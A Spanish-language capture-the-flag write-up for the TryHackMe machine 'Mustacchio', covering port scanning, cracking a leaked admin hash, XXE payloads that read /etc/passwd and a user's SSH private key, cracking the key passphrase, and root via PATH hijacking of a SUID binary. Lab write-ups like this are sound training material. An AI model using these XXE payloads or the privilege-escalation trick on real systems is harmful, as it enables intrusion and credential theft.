Post

Mustacchio Writeup - Try-Hack-Me

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-11 20:34 EST
Nmap scan report for 10.10.163.196
Host is up (0.23s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_  256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Mustacchio | Home
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.04 seconds

tenemos un archivo robots.txt

Ports: 22/ssh - 80/http - 8765/http

Enumeracion del puerto 80

img

parece que no hay mucha cosa interesante veamos el archivo robots.txt

img parece que el archivo esta vacio

gobuster

img gobuster nos certifica que existe el archivo robots.txt aparte de esto de todos los subdirectorios el mas llamativo es custom

subdirectorio custom/js

img

el archivo users.bak lo podemos descargar

img parece que tenemos un usuario admin con un hash asi que vamos a decodearlo

usamos hashid para identificar el hash

img buscamos un decoder de hash SHA-1

tenemos un usuario y ahora una pass

img

iniciamos session cn el panel de login

img

parece que el panel de comandos no es vulnerable a reverse shell ni inyeccion sql

miramos el codigo fuente

img

parece que aqui nos dejan una pista asi que vamos a mirar este subdirectorio

se nos descarga un archivo automaticamente y lo abrimos con strings

parece que tenemos un archivo xml img

xml inyection

usaremos esta xml inyeccion para intentar mirar el etc/passwd

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> 
<comment> 
<name>Joe Hamd</name> 
<author>Barry Clad</author> 
<com>&test; </com> 
</comment>

img

perfecto tenemos respuesta. vemos que existe un usuario llamado barry. vamos a intentar consegui su id_rsa modificando la ruta en el xml

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/barry/.ssh/id_rsa'>]> 
<comment> 
<name>Joe Hamd</name> 
<author>Barry Clad</author> 
<com>&test; </com> 
</comment>

tenemos la id_rsa de barry

img para poder copiar la id_rsa de una mejor podemos hacer Ctrl + u para ver el codigo fuente img

puerto 22/ssh

![[Pasted image 20231212002530.png]]

intentamos conectarnos por ssh pero necesitamos otorgar permisos de lectura. esto lo hacemos con el comando chmod luego intentamos ingresar pero al parecer la id_rsa necesita una clave asi que vamos a conseguirla

img

con estos pasos podemos conseguir el hash de la id_rsa y lo enviamos a un archivo llamado id_hash como se ve en la imagen, hacemos un cat para asegurarnos que el archivo id_hash contenga el hash

usaremos la herramienta john para decodear el hash

img

ahora tenemos la palabra clave que necesita la id_rsa asi que intentemos entrar por ssh de nuevo

Port 22/ssh

img perfecto estamos dentro y somos el usuario barry

Escalada de privilegios

navegando por la maquina nos hemos encontrado otro usuario el cual tiene un archivo muy interesante, si hacemos cat no podemos ver nada pero si hacemos strings….. img

miramos los permisos del archivo

el archivo parece pertenecer al usuario root pero (otros) tienen permisos de ejecución img

vamos a aprovecharnos de la variable tail para poder escalar privilegios

primero vamos al directorio /tmp vamos a crear un nuevo archivo que se llame tail y vamos a cambiar los permisos de la bash con el siguiente comando img guardamos el archivo

$PATH hijacking

1
export PATH=/tmp:$PATH

agregamos la ruta en la que se encuentra nuestro archivo para que el $PATH la tome en cuenta cuando haga un llamado img

luego hacemos echo $PATH para verificar y si todo esta bien hemos cambiado los permisos a la bash. asi que si hacemos bash -p deberiamos tener una bash como el usuario root

img

WE ARE ROOT

This post is licensed under CC BY 4.0 by the author.

Trending Tags